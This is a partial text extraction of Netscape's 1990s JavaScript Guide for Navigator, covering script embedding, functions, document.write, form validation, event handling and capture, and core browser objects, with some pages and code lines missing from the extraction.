Javascript Guide
Javascript Guide
security
World Wide Web
merchant system
server community system
encryption
LiveScriptcomp.sys
news certificate Proxy
directory server
Netscape Communications Corporation (“Netscape”) and its licensors retain all ownership rights to the software programs, if
any, offered by Netscape (referred to herein as “Software”) and related documentation. Use of the Software and related
documentation is governed by the license agreement accompanying the Software and applicable copyright law.
Your right to copy this documentation is limited by copyright law. Making unauthorized copies, adaptations, or compilation
works is prohibited and constitutes a punishable violation of the law. Netscape may revise this documentation from time to time
without notice.
THIS DOCUMENTATION IS PROVIDED “AS IS” WITHOUT WARRANTY OF ANY KIND. IN NO EVENT SHALL
NETSCAPE BE LIABLE FOR ANY LOSS OF PROFITS, LOSS OF BUSINESS, LOSS OF USE OR DATA,
INTERRUPTION OF BUSINESS, OR FOR INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF
ANY KIND, ARISING FROM ANY ERROR IN THIS DOCUMENTATION.
The Software and documentation are copyright © 1996 Netscape Communications Corporation. All rights reserved.
Netscape, Netscape Communications and the Netscape Communications Corporation Logo are trademarks of Netscape
Communications Corporation. Other product or brand names are trademarks or registered trademarks of their respective
holders.
Any provision of the Software to the U.S. Government is with restricted rights as described in the license agreement
accompanying the Software.
The downloading, export or reexport of the Software or any underlying information or technology must be in full compliance
with all United States and other applicable laws and regulations as further described in the license agreement accompanying the
Software.
Version 3.0
©Netscape Communications Corporation 1996
All Rights Reserved
Printed in USA
98 97 96 10 9 8 7 6 5 4 3 2 1
Netscape Communications Corporation 501 East Middlefield Road, Mountain View, CA 94043
Contents
iv JavaScript Guide
Form Object ............................................................................................... 61
location Object ........................................................................................... 61
history Object ............................................................................................. 62
navigator Object ......................................................................................... 62
Navigator’s Object Arrays ............................................................................... 63
JavaScript Guide v
JavaScript to Java Communication ................................................................. 80
Accessing Java Directly .............................................................................. 80
Controlling Java Applets ............................................................................ 81
Controlling Java Plug-ins ........................................................................... 85
Data Type Conversion ............................................................................... 85
Java to JavaScript Communication ................................................................. 86
Getting a Handle for the JavaScript Window ........................................... 86
Accessing JavaScript Objects and Properties ............................................ 87
Calling JavaScript Methods ........................................................................ 87
Data Type Conversion ............................................................................... 90
vi JavaScript Guide
Origin Checks and Java Applets ............................................................. 104
Using Data Tainting in Navigator 3.0 .......................................................... 104
How Tainting Works ................................................................................ 105
Enabling Tainting ..................................................................................... 106
Tainting and Untainting Individual Data Elements ................................ 107
Tainting that Results from Conditional Statements ................................ 107
Using Signed Scripts in Navigator 4.0 ......................................................... 109
Introduction to Signed Scripts ................................................................. 109
Identifying Signed Scripts ........................................................................ 116
Using Expanded Privileges ...................................................................... 118
Writing the Script ..................................................................................... 122
Signing Scripts .......................................................................................... 129
Troubleshooting Signed Scripts ............................................................... 130
JavaScript Guide ix
labeled Statement ..................................................................................... 203
break Statement ....................................................................................... 203
continue Statement .................................................................................. 205
Object Manipulation Statements and Operators ......................................... 206
new Operator ........................................................................................... 206
this Keyword ............................................................................................ 207
for...in Statement ...................................................................................... 208
with Statement ......................................................................................... 209
Comments ..................................................................................................... 209
Part 3 Appendixes
Appendix A Reserved Words ................................................................. 213
This appendix lists the reserved words in JavaScript.
Appendix B Color Values ........................................................................ 215
The string literals in this appendix can be used to specify colors in the
JavaScript alinkColor, bgColor, fgColor, linkColor, and vLink-
Color properties and the fontcolor method.
x JavaScript Guide
coming mail and news when you use Netscape Messenger.
Creating the filter and adding to your rules file ......................................... 233
News filters ................................................................................................... 235
Message Object Reference ........................................................................... 235
Mail Messages ........................................................................................... 236
News Messages ........................................................................................ 237
Debugging your filters ................................................................................. 237
A more complex example ............................................................................ 237
JavaScript Guide xi
xii JavaScript Guide
Preface
• A general understanding of the Internet and the World Wide Web (WWW).
1. http://developer.netscape.com/library/documentation/communicator/jsguide/
js1_2.htm
xiii
How to Use JavaScript Documentation
• Part 2, “The Core JavaScript Language”, describes the syntax and semantics
of the JavaScript language itself and is applicable to both client-side and
server-side JavaScript. It also describes JavaScript’s predefined String,
Math, and Date objects, predefined functions, and statement syntax.
If you are new to JavaScript, start with Chapter 1, “Getting Started” to start
scripting your own pages immediately. Then continue with the chapters in
Part 1, to learn more about JavaScript in Navigator. You may find it useful to
skim the material in Part 2, particularly Chapter 10, “Object Model.”
If you are already familiar with JavaScript in Navigator, skim the material in
Part 1, paying particular attention to the chapters that discuss more advanced
topics: Chapter 4, “Using Windows and Frames” and Chapter 6, “Advanced
Topics.”
Once you have a firm grasp of the fundamentals, you can use the JavaScript
Reference1 to get more details on individual objects and statements.
1. http://developer.netscape.com/library/documentation/communicator/jsref/index.htm
2. http://developer.netscape.com/library/documentation/enterprise/wrijsap/index.htm
3. http://developer.netscape.com
4. http://developer.netscape.com/library/documentation/jsdebug/index.htm
The JavaScript page1 of the DevEdge library2 contains several other documents
of interest about JavaScript. The contents of this page change frequently. You
should revisit it periodically to get the newest information.
Document Conventions
Occasionally this book tells you where to find things in the user interface of
Netscape Navigator. In these cases, the book describes the user interface in
Navigator 4.0. This interface may be different in earlier versions of the browser.
In these URLs, server represents the name of the server on which you run your
application, such as research1 or www; domain represents your Internet
domain name, such as netscape.com or uiuc.edu; path represents the
directory structure on the server; and file.html represents an individual
filename. In general, items in italics in URLs are placeholders and items in
normal monospace font are literals. If your server has Secure Sockets Layer
(SSL) enabled, you would use https instead of http in the URL.
• The monospace font is used for sample code and code listings, API and
language elements (such as function names and class names), filenames,
pathnames, directory names, HTML tags, and any text that must be typed
on the screen. (Monospace italic font is used for placeholders
embedded in code.)
• Italic type is used for book titles, emphasis, variables and placeholders, and
words used in the literal sense.
1. http://developer.netscape.com/library/documentation/javascript.html
2. http://developer.netscape.com/library/documentation/
xv
• Boldface type is used for glossary terms.
18 JavaScript Guide
Chapter
Getting Started
1
What is JavaScript?
JavaScript is Netscape’s cross-platform, object-based scripting language for
client and server applications. JavaScript lets you create applications that run
over the Internet. Client applications run in a browser, such as Netscape
Navigator, and server applications run on a server, such as Netscape Enterprise
Server. Using JavaScript, you can create dynamic HTML pages that process user
input and maintain persistent data using special objects, files, and relational
databases. Through JavaScript’s LiveConnect functionality, your applications
can access Java and CORBA distributed-object applications.
Server-side and client-side JavaScript share the same core language. This core
language corresponds to ECMA-262, the scripting language standardized by the
European standards body, with some additions. The core language contains a
set of core objects, such as the Array and Date objects. It also defines other
language features such as its expressions, statements, and operators. Although
server-side and client-side JavaScript use the same core functionality, in some
cases they use them differently. You can download a PDF version of the
ECMA-262 specification1.
Client-side
additions
Server-side
(such as window
additions
and history) Core
(such as server
JavaScript
and database
Core language
features (such
as variables,
Client-side functions, and
LiveConnect)
Server-side
SERVER-SIDE JAVASCRIPT
1. http://developer.netscape.com/library/javascript/e262-pdf.pdf
20 JavaScript Guide
What is JavaScript?
take advantage of its server-side capabilities are compiled before they are
deployed. The next two sections introduce you to the workings of JavaScript on
the client and on the server.
JavaScript in Navigator
Web browsers such as Netscape Navigator 2.0 (and later versions) can interpret
client-side JavaScript statements embedded in an HTML page. When the
browser (or client) requests such a page, the server sends the full content of the
document, including HTML and JavaScript statements, over the network to the
client. The client reads the page from top to bottom, displaying the results of
the HTML and executing JavaScript statements as it goes. This process,
illustrated in Figure 1.2, produces the results that the user sees.
mypage.html
22 JavaScript Guide
What is JavaScript?
On the server, you also embed JavaScript in HTML pages. The server-side
statements can connect to relational databases from different vendors, share
information across users of an application, access the file system on the server,
or communicate with other applications through LiveConnect and Java. HTML
pages with server-side JavaScript can also include client-side JavaScript.
In contrast to pure client-side JavaScript scripts, HTML pages that use server-
side JavaScript are compiled into bytecode executable files. These application
executables are run in concert with a Web server that contains the JavaScript
runtime engine. This makes creating JavaScript applications a two-stage
process.
In the first stage, shown in Figure 1.3, you (the developer) create HTML pages
(which can contain both client-side and server-side JavaScript statements) and
JavaScript files. You then compile all of those files into a single executable.
1. http://developer.netscape.com/library/documentation/enterprise/wrijsap/index.htm
<SERVER>
if (client.gameno == null) {
client.gameno = 1
client.newgame = "true"
}
</SERVER>
You have used the following letters so far:
<SERVER>write(client.used)</SERVER>
<FORM METHOD="post" ACTION="hangman.htm">
<P>
What is your guess?
<INPUT TYPE="text" NAME="guess" SIZE="1">
...
</BODY></HTML>
hangman.htm
In the second stage, shown in Figure 1.4, a client browser requests a page that
was compiled into the application. The runtime engine finds the compiled
representation of that page in the executable, runs any server-side JavaScript
statements found on the page, and dynamically generates the HTML page to
return. The result of executing server-side JavaScript statements might add new
HTML or client-side JavaScript statements to the original HTML page. The
runtime engine then sends the newly generated page over the network to the
Navigator client, which runs any client-side JavaScript and displays the results.
24 JavaScript Guide
What is JavaScript?
Part 2, “The Core JavaScript Language”, describes the common features of client
and server JavaScript.
26 JavaScript Guide
Embedding JavaScript in HTML
exclusively of classes and their methods. Java’s class inheritance and strong
typing generally require tightly coupled object hierarchies. These requirements
make Java programming more complex than JavaScript authoring.
JavaScript Java
Interpreted (not compiled) by client. Compiled bytecodes downloaded from
server, executed on client.
Object-based. No distinction between Object-oriented. Objects are divided into
types of objects. Inheritance is through classes and instances with all inheritance
the prototype mechanism and properties through the class hieararchy. Classes and
and methods can be added to any object instances cannot have properties or
dynamically. methods added dynamically.
Code integrated with, and embedded in, Applets distinct from HTML (accessed
HTML. from HTML pages).
Variable data types not declared (loose Variable data types must be declared
typing). (strong typing).
Dynamic binding. Object references Static binding. Object references must
checked at runtime. exist at compile-time.
Cannot automatically write to hard disk. Cannot automatically write to hard disk.
• As event handlers within certain other HTML tags (mostly form elements).
See Chapter 2, “Handling Events.”
A document can have multiple <SCRIPT> tags, and each can enclose any
number of JavaScript statements.
Statements within a <SCRIPT> tag are ignored if the browser does not have the
level of JavaScript support specified in the LANGUAGE attribute; for example:
28 JavaScript Guide
Embedding JavaScript in HTML
By using the LANGUAGE attribute, you can write general JavaScript that
Navigator version 2.0 and higher recognize, and include additional or refined
behavior for newer versions of Navigator.
Example 1. This example shows how to define functions three times, once for
JavaScript 1.0, once using JavaScript 1.1 features, and a third time using
JavaScript 1.2 features.
<SCRIPT LANGUAGE="JavaScript">
// Define 1.0-compatible functions such as doClick() here
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript1.1">
// Redefine those functions using 1.1 features
// Also define 1.1-only functions
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript1.2">
// Redefine those functions using 1.2 features
// Also define 1.2-only functions
</SCRIPT>
<FORM ...>
<INPUT TYPE="button" onClick="doClick(this)" ...>
...
</FORM>
jsVersion = "1.1";
else
jsVersion = "1.0";
</SCRIPT>
[hereafter, test jsVersion before use of any 1.1 or 1.2 extensions]
Although you are not required to use this technique, it is considered good
etiquette so that your pages don’t generate unformatted script statements for
those not using Navigator 2.0 or later.
Note For simplicity, some of the examples in this book do not hide scripts.
Hello, net!
That’s all, folks.
30 JavaScript Guide
Embedding JavaScript in HTML
You may sometimes see a semicolon at the end of each line of JavaScript. In
general, semicolons are optional and are required only if you want to put more
than one statement on a single line. This is most useful in defining event
handlers, which are discussed in Chapter 2, “Handling Events.”
This attribute is especially useful for sharing functions among many different
pages.
JavaScript statements within a <SCRIPT> tag with a SRC attribute are ignored
unless the inclusion has an error. For example, you might want to put the
following statement between the <SCRIPT SRC="..."> and </SCRIPT>
statements:
The SRC attribute can specify any URL, relative or absolute. For example:
<SCRIPT SRC="http://home.netscape.com/functions/jsfuncs.js">
External JavaScript files cannot contain any HTML tags: they must contain only
JavaScript statements and function definitions.
External JavaScript files should have the file name suffix .js, and the server
must map the .js suffix to the MIME type application/x-javascript,
which the server sends back in the HTTP header. To map the suffix to the
MIME type, add the following line to the mime.types file in the server’s config
directory, and then restart the server.
type=application/x-javascript exts=js
If the server does not map the .js suffix to the application/x-javascript
MIME type, Navigator improperly loads the JavaScript file specified by the SRC
attribute.
Note This requirement does not apply if you use local files.
You may already be familiar with HTML character entities by which you can
define characters with special numerical codes or names by preceding the
name with an ampersand (&) and terminating it with a semicolon (;). For
example, you can include a greater-than symbol (>) with the character entity
> and a less-than symbol (<) with <.
JavaScript entities also start with an ampersand (&) and end with a semicolon
(;). Instead of a name or number, you use a JavaScript expression enclosed in
curly braces {}. You can use JavaScript entities only where an HTML attribute
32 JavaScript Guide
Embedding JavaScript in HTML
value would normally go. For example, suppose you define a variable
barWidth. You could create a horizontal rule with the specified percentage
width as follows:
<HR WIDTH="&{barWidth};%" ALIGN="LEFT">
So, for example, if barWidth were 50, this statement would create the display
shown in Figure 1.6.
As with other HTML, after layout has occurred, the display of a page can
change only if you reload the page.
Unlike regular entities which can appear anywhere in the HTML text flow,
JavaScript entities are interpreted only on the right-hand side of HTML attribute
name/value pairs. For example, if you have this statement:
<H4>&{myTitle};</H4>
It displays the string myTitle rather than the value of the variable myTitle.
• A function name.
34 JavaScript Guide
Defining and Calling Functions
Generally, you should define the functions for a page in the HEAD portion of a
document. That way, all functions are defined before any content is displayed.
Otherwise, the user might perform an action while the page is still loading that
triggers an event handler and calls an undefined function, leading to an error.
(Event handlers are introduced in Chapter 2, “Handling Events.”)
<BODY>
<SCRIPT>
document.write("The function returned ", square(5), ".");
</SCRIPT>
<P> All done.
</BODY>
The function square takes one argument, called number. The function consists
of one statement
return number * number
that indicates to return the argument of the function multiplied by itself. The
return statement specifies the value returned by the function. In the BODY of
the document, the statement
square(5)
calls the function with an argument of five. The function executes its statements
and returns the value twenty-five. The script displays the following results:
to display output in Navigator. This line calls the write method of the
Navigator document object with JavaScript’s standard object notation:
objectName.methodName(arguments...)
where objectName is the name of the object, methodName is the name of the
method, and arguments is a list of arguments to the method, separated by
commas.
The write method takes any number of string arguments that can be string
literals or variables. You can also use the string concatenation operator (+) to
create one string from several when using write.
Consider the following script, which generates dynamic HTML with Navigator
JavaScript:
<HEAD>
<SCRIPT>
<!--- Hide script from old browsers
// This function displays a horizontal bar of specified width
function bar(widthPct) {
document.write("<HR ALIGN='left' WIDTH=" + widthPct + "%>");
}
36 JavaScript Guide
Using the Write Method
</SCRIPT>
</HEAD>
<BODY>
<SCRIPT>
<!--- hide script from old browsers
bar(25)
output(2, "JavaScript Rules!", "Using JavaScript is easy...")
// end script hiding from old browsers -->
</SCRIPT>
<P> This is some standard HTML, unlike the above that is generated.
</BODY>
• output, which displays an HTML heading of the level specified by the first
argument, heading text specified by the second argument, and paragraph
text specified by the third argument.
The document BODY then calls the two functions to produce the display shown
in Figure 1.7.
Notice that the definition of bar uses single quotation marks inside double
quotation marks. You must do this whenever you want to indicate a quoted
string inside a string literal. Then the call to bar with an argument of 25
produces output equivalent to the following HTML:
<HR ALIGN="left" WIDTH=25%>
Printing Output
Navigator versions 3.0 and higher print output created with JavaScript. To print
output, the user chooses Print from the File menu. Navigator 2.0 does not print
output created with JavaScript.
In Navigator 4.0, if you print a page that contains layers, each layer is printed
separately on the same page. For example, if three layers overlap each other in
the browser, the printed page shows each layers separately.
If you choose Document Source or Frame Source from the View menu, the web
browser displays the content of the HTML file with the generated HTML. If you
instead want to view the HTML source showing the scripts which generate
HTML (with the document.write and document.writeln methods), do not
use the Document Source or Frame Source menu item. In this situation, use the
view-source: protocol. For example, assume the file file://c|/test.html
contains this text:
<HTML>
<BODY>
Hello,
<SCRIPT>document.write(" there.")</SCRIPT>
</BODY>
</HTML>
If you load this URL into the web browser, it displays the following:
Hello, there.
38 JavaScript Guide
Validating Form Input
Displaying Output
JavaScript in Navigator generates its results from the top of the page down.
Once text has been displayed, you cannot change it without reloading the
page. In general, you cannot update part of a page without updating the entire
page. However, you can update
• A layer’s contents.
• Form elements without reloading the page; see “Example: Using an Event
Handler” on page 46.
• It reduces load on the server. “Bad data” are already filtered out when input
is passed to the server-based program.
• As the user enters it, with an onChange event handler on each form element
that you want validated.
• When the user submits the form, with an onClick event handler on the
button that submits the form.
The JavaScript page on DevEdge contains pointers to sample code. One such
pointer is a complete set of form validation functions. This section presents
some simple examples, but you should check out the samples on DevEdge.
function validateAndSubmit(theform) {
if (qty_check(theform.quantity, 0, 999)) {
alert("Order has been Submitted")
return true
}
else {
alert("Sorry, Order Cannot Be Submitted!")
return false
}
}
</SCRIPT>
</HEAD>
40 JavaScript Guide
Validating Form Input
The onChange event handler is triggered when you change the value in the text
field and move focus from the field by either pressing the Tab key or clicking
the mouse outside the field. Notice that both event handlers use this to
represent the current object: in the text field, it is used to pass the JavaScript
object corresponding to the text field to qty_check, and in the button it is used
to pass the JavaScript Form object to validateAndSubmit.
To submit the form to the server-based program, this example uses a button
that calls validateAndSubmit, which submits the form using the submit
method, if the data are valid. You can also use a submit button (defined by
<INPUT TYPE="submit">) and then put an onSubmit event handler on the
form that returns false if the data are not valid. For example,
<FORM NAME="widget_order" ACTION="lwapp.html" METHOD="post"
onSubmit=”return qty_check(theform.quantity, 0, 999)”>
...
<INPUT TYPE=”submit”>
...
</FORM>
When qty_check returns false if the data are invalid, the onSubmit handler
will prohibit the form from being submitted.
Debugging JavaScript
JavaScript allows you to write complex computer programs. As with all
languages, you may make mistakes while writing your scripts. The Netscape
JavaScript Debugger allows you to debug your JavaScript scripts.
For information on using the debugger, see Getting Started with Netscape
JavaScript Debugger1.
1. http://developer.netscape.com/library/documentation/jsdebug/index.htm
42 JavaScript Guide
Chapter
Handling Events
2
Event handling changed significantly between Navigator 3.0 and Navigator 4.0.
Navigator 4.0 added:
For a good introduction to event handling in Navigator 4.0, see the article
Getting Ready for JavaScript 1.2 Events1 in the online View Source2 magazine.
In addition, the JavaScript technical notes3 contain information on
programming events.
1. http://developer.netscape.com/news/viewsource/goodman_events.html
2. http://developer.netscape.com/news/viewsource/
3. http://developer.netscape.com/library/technote/
44 JavaScript Guide
Defining an Event Handler
Select text fields, textareas User selects form element’s input field onSelect
To create an event handler for an HTML tag, add an event handler attribute to
the tag. Put JavaScript code in quotation marks as the attribute value. The
general syntax is
<TAG eventHandler="JavaScript Code">
where TAG is an HTML tag, eventHandler is the name of the event handler,
and JavaScript Code is a sequence of JavaScript statements.
For example, suppose you have created a JavaScript function called compute.
You make Navigator call this function when the user clicks a button by
assigning the function call to the button’s onClick event handler:
<INPUT TYPE="button" VALUE="Calculate" onClick="compute(this.form)">
You can put any JavaScript statements as the value of the onClick attribute.
These statements are executed when the user clicks the button. To include
more than one statement, separate statements with semicolons (;).
Notice in the preceding example this.form refers to the current form. The
keyword this refers to the current object, which is the button. The construct
this.form then refers to the form containing the button. The onClick event
handler is a call to the compute function, with the current form as the
argument.
• It makes your code modular—you can use the same function as an event
handler for many different items.
46 JavaScript Guide
Defining an Event Handler
<BODY>
<FORM>
Enter an expression:
<INPUT TYPE="text" NAME="expr" SIZE=15 >
<INPUT TYPE="button" VALUE="Calculate" onClick="compute(this.form)">
<BR>
Result:
<INPUT TYPE="text" NAME="result" SIZE=15 >
</FORM>
</BODY>
The HEAD of the document defines a single function, compute, taking one
argument, f, which is a Form object. The function uses the window.confirm
method to display a Confirm dialog box with OK and Cancel buttons.
If the user clicks OK, then confirm returns true, and the value of the result
text field is set to the value of eval(f.expr.value). The JavaScript function
eval evaluates its argument, which can be any string representing any
JavaScript expression or statements.
If the user clicks Cancel, then confirm returns false and the alert method
displays another message.
The form contains a button with an onClick event handler that calls the
compute function. When the user clicks the button, JavaScript calls compute
with the argument this.form that denotes the current Form object. In
compute, this form is referred to as the argument f.
}
</SCRIPT>
<FORM NAME="myForm">
<INPUT TYPE="button" NAME="myButton"
onClick="fun1()">
</FORM>
<SCRIPT>
document.myForm.myButton.onclick=fun2
</SCRIPT>
Note that event handlers are function references, so you must assign fun2 itself,
not fun2() (the latter calls fun2 and has whatever type and value fun2
returns).
Also, because the event handler HTML attributes are literal function bodies, you
cannot use <INPUT onClick=fun1> in the HTML source to make fun1 the
onClick handler for an input. Instead, you must set the value in JavaScript, as
in the example.
In the case of a MouseDown event, for example, the event object contains the
type of event (in this case "MouseDown"), the x and y position of the mouse
cursor at the time of the event, a number representing the mouse button used,
and a field containing the modifier keys (Control, Alt, Meta, or Shift) that were
depressed at the time of the event. The properties used within the event object
vary from one type of event to another. This variation is provided in the
individual event descriptions in the JavaScript Reference.
48 JavaScript Guide
Event Capturing
Event Capturing
Typically, the object on which an event occurs handles the event. For example,
when the user clicks a button, it is often the button’s event handler that handles
the event. Sometimes you may want the window or document object to handle
certain types of events instead of leaving them for the individual parts of the
document. For example, you may want the document object to handle all
MouseDown events no matter where they occur in the document.
Note If a window with frames wants to capture events in pages loaded from different
locations, you need to use captureEvents in a signed script and call
enableExternalCapture. For information on signed scripts, see Chapter 7,
“JavaScript Security.”
3. Register the function as the window's event handler for that event.
1. Return true. In the case of a link, the link is followed and no other event
handler is checked. If the event cannot be canceled, this ends the event
handling for that event.
function clickHandler(e) {
return true;
}
This allows the event to be completely handled by the document or
window. The event is not handled by any other object, such as a button in
the document or a child frame of the window.
2. Return false. In the case of a link, the link is not followed. If the event is
non-cancelable, this ends the event handling for that event.
50 JavaScript Guide
Event Capturing
function clickHandler(e) {
return false;
}
This allows you to suppress the handling of an event type. The event is not
handled by any other object, such as a button in the document or a child
frame of the window. You can use this, for example, to suppress the right
mouse button in an application.
3. Call routeEvent. JavaScript looks for other event handlers for the event. If
another object is attempting to capture the event (such as the document),
JavaScript calls its event handler. If no other object is attempting to capture
the event, JavaScript looks for an event handler for the event's original
target (such as a button). The routeEvent function returns the value
returned by the event handler. The capturing object can look at this return
and decide how to proceed.
When routeEvent calls an event handler, the event handler is activated. If
routeEvent calls an event handler whose function is to display a new
page, the action takes place without returning to the capturing object.
function clickHandler(e) {
var retval = routeEvent(e);
if (retval == false) return false;
else return true;
}
4. Call the handleEvent method of an event receiver. Any object that can
register event handlers is an event receiver. This method explicitly calls the
event handler of the event receiver and bypasses the capturing hierarchy.
For example, if you wanted all Click events to go to the first link on the
page, you could use:
function clickHandler(e) {
window.document.links[0].handleEvent(e);
}
As long as the link has an onClick handler, the link will handle any click
event it receives.
A complete example
In the following example, the window and document capture and release
events:
<HTML>
<SCRIPT>
function fun1(e) {
alert ("The window got an event of type: " + e.type +
" and will call routeEvent.");
window.routeEvent(e);
alert ("The window returned from routeEvent.");
return true;
}
function fun2(e) {
alert ("The document got an event of type: " + e.type);
return false;
}
function setWindowCapture() {
window.captureEvents(Event.CLICK);
}
function releaseWindowCapture() {
window.releaseEvents(Event.CLICK);
}
function setDocCapture() {
document.captureEvents(Event.CLICK);
}
function releaseDocCapture() {
document.releaseEvents(Event.CLICK);
}
window.onclick=fun1;
document.onclick=fun2;
</SCRIPT>
...
</HTML>
52 JavaScript Guide
Chapter
This chapter describes JavaScript objects in Navigator and how to use them.
These client-side JavaScript objects are sometimes referred to as Navigator
objects, to distinguish them from server-side objects or user-defined objects.
Text Plugin
Frame
Layer FileUpload MimeType
Link Password
Area Submit
Anchor Reset
Location
Applet Radio
Plugin Checkbox
History
Form Button
Select Option
For a list of all objects and their properties, methods, and event handlers, see
“What’s in this Reference,” in the JavaScript Reference.
• navigator: has properties for the name and version of the Navigator being
used, for the MIME types supported by the client, and for the plug-ins
installed on the client.
• window: the top-level object; has properties that apply to the entire
window. There is also a window object for each “child window” in a frames
document.
54 JavaScript Guide
Document Properties: an Example
Depending on its content, the document may contain other objects. For
instance, each form (defined by a FORM tag) in the document has a
corresponding Form object.
To refer to specific properties, you must specify the object name and all its
ancestors. Generally, an object gets its name from the NAME attribute of the
corresponding HTML tag. For more information and examples, see Chapter 4,
“Using Windows and Frames.”
For example, the following refers to the value property of a text field named
text1 in a form named myform in the current document:
document.myform.text1.value
If an object is on a form, you must include the form name when referring to
that object, even if the object does not need to be on a form. For example,
images do not need to be on a form. The following code refers to an image that
is on a form:
document.imageForm.aircraft.src='f15e.gif'
Suppose you create a page named simple.html that contains the following
HTML:
<HEAD><TITLE>A Simple Document</TITLE>
<SCRIPT>
function update(form) {
<BODY>
<FORM NAME="myform" ACTION="foo.cgi" METHOD="get" >Enter a value:
<INPUT TYPE="text" NAME="text1" VALUE="blahblah" SIZE=20 >
Check if you want:
<INPUT TYPE="checkbox" NAME="Check1" CHECKED
onClick="update(this.form)"> Option #1
<P>
<INPUT TYPE="button" NAME="button1" VALUE="Press Me"
onClick="update(this.form)">
</FORM>
</BODY>
As you saw in the previous chapter, JavaScript uses the following object
notation:
objectName.propertyName
Given the preceding HTML example, the basic objects might have properties
like those shown in Table 3.1.
Table 3.1 Example object property values
Property Value
document.title “A Simple Document”
document.fgColor #000000
document.bgColor #ffffff
location.href “http://www.royalairways.com/samples/simple.html”
history.length 7
Notice that the value of document.title reflects the value specified in the
TITLE tag. The values for document.fgColor (the color of text) and
document.bgColor (the background color) were not set in the HTML, so they
are based on the default values specified in the Preferences dialog box (when
the user chooses Preferences from the Edit menu).
Because there is a form in the document, there is also a Form object called
myform (based on the form’s NAME attribute) that has child objects for the
checkbox and the button. Each of these objects has a name based on the NAME
attribute of the HTML tag that defines it, as follows:
56 JavaScript Guide
JavaScript Reflection and HTML Layout
The Form object myform has other properties based on the attributes of the
FORM tag, for example,
The Form object has child objects named button1 and text1, corresponding
to the button and text fields in the form. These objects have their own
properties based on their HTML attribute values, for example,
• button1.name is “Button1”
• text1.value is “blahblah”
• text1.name is “text1”
In practice, you refer to these properties using their full names, for example,
document.myform.button1.value. This full name is based on the Navigator
object hierarchy, starting with document, followed by the name of the form,
myform, then the element name, button1, and, finally, the property name.
These form elements are reflected as JavaScript objects that you can use after
the form is defined: document.statform.userName and
document.statform.Age. For example, you could display the value of these
objects in a script after defining the form:
<SCRIPT>
document.write(document.statform.userName.value)
document.write(document.statform.Age.value)
</SCRIPT>
However, if you tried to do this before the form definition (above it in the
HTML page), you would get an error, because the objects don’t exist yet in the
Navigator.
Likewise, once layout has occurred, setting a property value does not affect its
value or appearance. For example, suppose you have a document title defined
as follows:
<TITLE>My JavaScript Page</TITLE>
There are some important exceptions to this rule: you can update the value of
form elements dynamically. For example, the following script defines a text
field that initially displays the string “Starting Value.” Each time you click the
button, you add the text “...Updated!” to the value.
<FORM NAME="demoForm">
<INPUT TYPE="text" NAME="mytext" SIZE="40" VALUE="Starting Value">
<P><INPUT TYPE="button" VALUE="Click to Update Text Field"
onClick="document.demoForm.mytext.value += '...Updated!' ">
</FORM>
58 JavaScript Guide
Key Navigator Objects
Using event handlers, you can also change a few other properties after layout
has completed, such as document.bgColor.
• open and close: Opens and closes a browser window; you can specify the
size of the window, its content, and whether it has a button bar, location
field, and other “chrome” attributes.
• prompt: Displays a Prompt dialog box with a text field for entering a value.
window also has several properties you can set, such as location and status.
You can set location to redirect the client to another URL. For example, the
following statement redirects the client to the Netscape home page, as if the
user had clicked a hyperlink or otherwise loaded the URL:
location = “http://home.netscape.com”
You can use the status property to set the message in the status bar at the
bottom of the client window; for more information, see “Using the Status Bar”
on page 94.
For more information on windows and frames, see Chapter 4, “Using Windows
and Frames.” This book does not describe the full set of methods and
properties of the window object. For the complete list, see the JavaScript
Reference.
document Object
Because its write and writeln methods generate HTML, the document object
is one of the most useful Navigator objects. A page has only one document
object.
The document object has a number of properties that reflect the colors of the
background, text, and links in the page: bgColor, fgColor, linkColor,
alinkColor, and vlinkColor. Other useful document properties include
lastModified, the date the document was last modified, referrer, the
previous URL the client visited, and URL, the URL of the document. The cookie
property enables you to get and set cookie values; for more information, see
“Using Cookies” on page 94.
The document object is the ancestor for all the Anchor, Applet, Area, Form,
Image, Layer, Link, and Plugin objects in the page.
In Navigator 3.0 and later, users can print and save generated HTML, by using
the commands on the File menu. See the description of document.write in the
JavaScript Reference.
60 JavaScript Guide
Key Navigator Objects
Form Object
Each form in a document creates a Form object. Because a document can
contain more than one form, Form objects are stored in an array called forms.
The first form (topmost in the page) is forms[0], the second forms[1], and so
on. In addition to referring to each form by name, you can refer to the first form
in a document as
document.forms[0]
Likewise, the elements in a form, such as text fields, radio buttons, and so on,
are stored in an elements array. You could refer to the first element (regardless
of what it is) in the first form as
document.forms[0].elements[0]
Each form element has a form property that is a reference to the element’s
parent form. This property is especially useful in event handlers, where you
might need to refer to another element on the current form. In the following
example, the form myForm contains a Text object and a button. When the user
clicks the button, the value of the Text object is set to the form’s name. The
button’s onClick event handler uses this.form to refer to the parent form,
myForm.
<FORM NAME="myForm">
Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga">
<P>
<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
onClick="this.form.text1.value=this.form.name">
</FORM>
location Object
The location object has properties based on the current URL. For example,
the hostname property is the server and domain name of the server hosting the
document.
• replace loads the specified URL over the current history entry.
history Object
The history object contains a list of strings representing the URLs the client
has visited. You can access the current, next, and previous history entries by
using the history object’s current, next, and previous properties. You can
access the other history values using the history array. This array contains an
entry for each history entry in source order; each array entry is a string
containing a URL.
You can also redirect the client to any history entry by using the go method.
For example, the following code loads the URL that is two entries back in the
client’s history list.
history.go(-2)
navigator Object
The navigator object contains information about the version of Navigator in
use. For example, the appName property specifies the name of the browser, and
the appVersion property specifies version information for the Navigator.
